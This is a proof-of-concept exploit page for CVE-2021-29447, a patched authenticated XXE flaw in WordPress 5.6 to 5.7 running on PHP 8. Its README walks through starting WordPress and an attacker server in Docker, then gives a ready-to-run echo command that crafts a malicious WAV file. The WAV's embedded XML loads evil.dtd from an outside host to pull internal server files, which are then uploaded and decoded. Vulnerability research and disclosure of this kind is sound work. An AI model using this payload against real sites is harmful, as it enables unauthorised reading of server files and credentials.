CVE-2021-29447 PoC — WordPress Authenticated XXE attack when installation is running PHP 8

Source

https://github.com/motikan2010/CVE-2021-29447

Associated Vulnerability

Title:WordPress Authenticated XXE attack when installation is running PHP 8 (CVE-2021-29447)
Description:Wordpress is an open source CMS. A user with the ability to upload files (like an Author) can exploit an XML parsing issue in the Media Library leading to XXE attacks. This requires WordPress installation to be using PHP 8. Access to internal files is possible in a successful XXE attack. This has been patched in WordPress version 5.7.1, along with the older affected versions via a minor release. We strongly recommend you keep auto-updates enabled.

Description

WordPress - Authenticated XXE (CVE-2021-29447)

Readme

# WordPress 5.6-5.7 - Authenticated (Author+) XXE (CVE-2021-29447)

## Using

### Step1. Run WordPress

```
$ make up-wp
```

### Step2. Run Attacker web server

```
$ make up-mal
```

### Step3. Generate malicious WAV file

#### Without wavefile npm (Recommend)

```
$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://host.docker.internal:8001/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav
```

#### With wavefile npm

```
$ make make-wav
```

### Step4. Login to WordPress & Upload WAV file to New Media

<img width="400" src="https://user-images.githubusercontent.com/3177297/115130382-53cdd100-a02a-11eb-9d7a-d68380c7439a.png">

### Step5. decode

<img width="500" src="https://user-images.githubusercontent.com/3177297/115130103-a35ecd80-a027-11eb-94e4-eea83ed4200f.png">

<img width="500" src="https://user-images.githubusercontent.com/3177297/115130112-b40f4380-a027-11eb-85ec-a9f254dd342b.png">

<img width="500" src="https://user-images.githubusercontent.com/3177297/115130108-ab1e7200-a027-11eb-9bc4-70a1a7531c0d.png">

## References

- [WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8 Security Vulnerability](https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5)

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